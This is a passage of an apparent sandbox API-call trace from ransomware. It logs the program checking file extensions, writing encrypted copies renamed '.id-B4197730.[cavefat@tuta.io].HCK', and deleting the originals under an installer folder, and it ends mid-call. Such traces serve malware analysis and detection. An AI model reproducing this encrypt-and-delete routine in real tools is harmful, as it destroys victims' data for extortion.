lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0149.088] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0149.088] lstrlenW (lpString=".zip") returned 4 [0149.088] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0149.089] lstrlenW (lpString=".rar") returned 4 [0149.089] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0149.089] lstrlenW (lpString=".bz2") returned 4 [0149.089] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0149.089] lstrlenW (lpString=".7z") returned 3 [0149.089] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0149.089] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0149.089] lstrlenW (lpString=".dbf") returned 4 [0149.089] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0149.089] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0149.089] lstrlenW (lpString=".1cd") returned 4 [0149.089] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0149.089] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0149.089] lstrlenW (lpString=".jpg") returned 4 [0149.089] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0149.089] lstrcmpiW (lpString1=".xml", lpString2=".HCK") returned 1 [0149.089] lstrlenW (lpString="LocalizedData.xml") returned 17 [0149.089] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0149.089] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=81482) returned 1 [0149.089] CloseHandle (hObject=0x2ec) returned 1 [0149.089] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml")) returned 0x80 [0149.089] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0149.089] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0149.089] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.090] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.090] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0149.090] GetLastError () returned 0x0 [0149.090] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x338fecc*=0x13e4a, lpOverlapped=0x0) returned 1 [0149.099] WriteFile (in: hFile=0x30c, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x13e50, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x338fc94*=0x13e50, lpOverlapped=0x0) returned 1 [0149.100] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1 [0149.100] WriteFile (in: hFile=0x30c, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x338fc94*=0xf6, lpOverlapped=0x0) returned 1 [0149.100] SetEndOfFile (hFile=0x30c) returned 1 [0149.100] CloseHandle (hObject=0x30c) returned 1 [0149.102] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.102] SetEndOfFile (hFile=0x2ec) returned 1 [0149.103] CloseHandle (hObject=0x2ec) returned 1 [0149.103] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0149.103] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml")) returned 1 [0149.104] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0149.104] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0149.104] lstrlenW (lpString=".doc") returned 4 [0149.104] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0149.104] lstrlenW (lpString=".docx") returned 5 [0149.104] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0149.104] lstrlenW (lpString=".pdf") returned 4 [0149.104] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0149.104] lstrlenW (lpString=".xls") returned 4 [0149.104] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0149.104] lstrlenW (lpString=".xlsx") returned 5 [0149.104] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0149.104] lstrlenW (lpString=".ppt") returned 4 [0149.104] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0149.104] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0149.104] lstrlenW (lpString=".zip") returned 4 [0149.104] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0149.104] lstrlenW (lpString=".rar") returned 4 [0149.104] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0149.104] lstrlenW (lpString=".bz2") returned 4 [0149.104] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0149.104] lstrlenW (lpString=".7z") returned 3 [0149.104] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0149.104] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0149.104] lstrlenW (lpString=".dbf") returned 4 [0149.104] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0149.104] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0149.104] lstrlenW (lpString=".1cd") returned 4 [0149.104] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0149.104] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0149.104] lstrlenW (lpString=".jpg") returned 4 [0149.104] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0149.104] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0149.104] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0149.104] lstrlenW (lpString=".doc") returned 4 [0149.104] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0149.104] lstrlenW (lpString=".docx") returned 5 [0149.104] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0149.104] lstrlenW (lpString=".pdf") returned 4 [0149.104] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0149.104] lstrlenW (lpString=".xls") returned 4 [0149.105] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0149.105] lstrlenW (lpString=".xlsx") returned 5 [0149.105] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0149.105] lstrlenW (lpString=".ppt") returned 4 [0149.105] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0149.105] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0149.105] lstrlenW (lpString=".zip") returned 4 [0149.105] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0149.105] lstrlenW (lpString=".rar") returned 4 [0149.105] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0149.105] lstrlenW (lpString=".bz2") returned 4 [0149.105] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0149.105] lstrlenW (lpString=".7z") returned 3 [0149.105] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0149.105] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0149.105] lstrlenW (lpString=".dbf") returned 4 [0149.105] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0149.105] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0149.105] lstrlenW (lpString=".1cd") returned 4 [0149.105] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0149.105] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0149.105] lstrlenW (lpString=".jpg") returned 4 [0149.105] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0149.105] lstrcmpiW (lpString1=".rtf", lpString2=".HCK") returned 1 [0149.105] lstrlenW (lpString="eula.rtf") returned 8 [0149.105] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0149.105] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=3865) returned 1 [0149.105] CloseHandle (hObject=0x2ec) returned 1 [0149.105] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf")) returned 0x80 [0149.105] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0149.105] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0149.106] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.106] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.106] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0149.106] GetLastError () returned 0x0 [0149.106] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x338fecc*=0xf19, lpOverlapped=0x0) returned 1 [0149.452] WriteFile (in: hFile=0x30c, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xf20, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x338fc94*=0xf20, lpOverlapped=0x0) returned 1 [0149.453] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1 [0149.453] WriteFile (in: hFile=0x30c, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x338fc94*=0xe4, lpOverlapped=0x0) returned 1 [0149.453] SetEndOfFile (hFile=0x30c) returned 1 [0149.453] CloseHandle (hObject=0x30c) returned 1 [0149.454] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.454] SetEndOfFile (hFile=0x2ec) returned 1 [0149.455] CloseHandle (hObject=0x2ec) returned 1 [0149.455] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0149.455] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf")) returned 1 [0149.455] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0149.455] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0149.456] lstrlenW (lpString=".doc") returned 4 [0149.456] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0149.456] lstrlenW (lpString=".docx") returned 5 [0149.456] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0149.456] lstrlenW (lpString=".pdf") returned 4 [0149.456] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0149.456] lstrlenW (lpString=".xls") returned 4 [0149.456] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0149.456] lstrlenW (lpString=".xlsx") returned 5 [0149.456] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0149.456] lstrlenW (lpString=".ppt") returned 4 [0149.456] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0149.456] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0149.456] lstrlenW (lpString=".zip") returned 4 [0149.456] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0149.456] lstrlenW (lpString=".rar") returned 4 [0149.456] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0149.456] lstrlenW (lpString=".bz2") returned 4 [0149.456] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0149.456] lstrlenW (lpString=".7z") returned 3 [0149.456] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0149.456] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0149.456] lstrlenW (lpString=".dbf") returned 4 [0149.456] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0149.456] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0149.456] lstrlenW (lpString=".1cd") returned 4 [0149.456] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0149.456] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0149.456] lstrlenW (lpString=".jpg") returned 4 [0149.456] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0149.456] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0149.456] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0149.456] lstrlenW (lpString=".doc") returned 4 [0149.456] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0149.456] lstrlenW (lpString=".docx") returned 5 [0149.456] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0149.456] lstrlenW (lpString=".pdf") returned 4 [0149.456] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0149.456] lstrlenW (lpString=".xls") returned 4 [0149.456] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0149.456] lstrlenW (lpString=".xlsx") returned 5 [0149.456] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0149.456] lstrlenW (lpString=".ppt") returned 4 [0149.456] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0149.456] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0149.456] lstrlenW (lpString=".zip") returned 4 [0149.456] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0149.456] lstrlenW (lpString=".rar") returned 4 [0149.456] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0149.456] lstrlenW (lpString=".bz2") returned 4 [0149.456] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0149.456] lstrlenW (lpString=".7z") returned 3 [0149.456] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0149.457] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0149.457] lstrlenW (lpString=".dbf") returned 4 [0149.457] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0149.457] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0149.457] lstrlenW (lpString=".1cd") returned 4 [0149.457] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0149.457] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0149.457] lstrlenW (lpString=".jpg") returned 4 [0149.457] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0149.457] lstrcmpiW (lpString1=".xml", lpString2=".HCK") returned 1 [0149.457] lstrlenW (lpString="Parameterinfo.xml") returned 17 [0149.457] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0149.457] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=201796) returned 1 [0149.457] CloseHandle (hObject=0x2ec) returned 1 [0149.457] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml")) returned 0x80 [0149.457] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0149.457] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0149.457] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.457] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.457] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0149.458] GetLastError () returned 0x0 [0149.458] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x338fecc*=0x31444, lpOverlapped=0x0) returned 1 [0149.462] WriteFile (in: hFile=0x30c, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x31450, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x338fc94*=0x31450, lpOverlapped=0x0) returned 1 [0149.465] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1 [0149.465] WriteFile (in: hFile=0x30c, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x338fc94*=0xf6, lpOverlapped=0x0) returned 1 [0149.465] SetEndOfFile (hFile=0x30c) returned 1 [0149.466] CloseHandle (hObject=0x30c) returned 1 [0149.469] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.469] SetEndOfFile (hFile=0x2ec) returned 1 [0149.470] CloseHandle (hObject=0x2ec) returned 1 [0149.470] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0149.471] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml")) returned 1 [0149.471] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0149.471] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0149.471] lstrlenW (lpString=".doc") returned 4 [0149.471] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0149.471] lstrlenW (lpString=".docx") returned 5 [0149.471] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0149.471] lstrlenW (lpString=".pdf") returned 4 [0149.471] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0149.471] lstrlenW (lpString=".xls") returned 4 [0149.471] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0149.471] lstrlenW (lpString=".xlsx") returned 5 [0149.471] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0149.471] lstrlenW (lpString=".ppt") returned 4 [0149.471] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0149.471] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0149.471] lstrlenW (lpString=".zip") returned 4 [0149.471] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0149.471] lstrlenW (lpString=".rar") returned 4 [0149.471] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0149.471] lstrlenW (lpString=".bz2") returned 4 [0149.471] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0149.471] lstrlenW (lpString=".7z") returned 3 [0149.471] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0149.471] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0149.471] lstrlenW (lpString=".dbf") returned 4 [0149.471] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0149.471] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0149.471] lstrlenW (lpString=".1cd") returned 4 [0149.471] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0149.472] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0149.472] lstrlenW (lpString=".jpg") returned 4 [0149.472] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0149.472] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0149.472] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0149.472] lstrlenW (lpString=".doc") returned 4 [0149.472] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0149.472] lstrlenW (lpString=".docx") returned 5 [0149.472] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0149.472] lstrlenW (lpString=".pdf") returned 4 [0149.472] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0149.472] lstrlenW (lpString=".xls") returned 4 [0149.472] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0149.472] lstrlenW (lpString=".xlsx") returned 5 [0149.472] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0149.472] lstrlenW (lpString=".ppt") returned 4 [0149.472] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0149.472] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0149.472] lstrlenW (lpString=".zip") returned 4 [0149.472] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0149.472] lstrlenW (lpString=".rar") returned 4 [0149.472] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0149.472] lstrlenW (lpString=".bz2") returned 4 [0149.472] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0149.472] lstrlenW (lpString=".7z") returned 3 [0149.472] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0149.472] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0149.472] lstrlenW (lpString=".dbf") returned 4 [0149.472] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0149.472] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0149.472] lstrlenW (lpString=".1cd") returned 4 [0149.472] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0149.472] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0149.472] lstrlenW (lpString=".jpg") returned 4 [0149.472] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0149.472] lstrcmpiW (lpString1=".xml", lpString2=".HCK") returned 1 [0149.472] lstrlenW (lpString="UiInfo.xml") returned 10 [0149.472] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0149.473] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=39042) returned 1 [0149.473] CloseHandle (hObject=0x2ec) returned 1 [0149.473] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml")) returned 0x80 [0149.473] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0149.473] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0149.473] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, 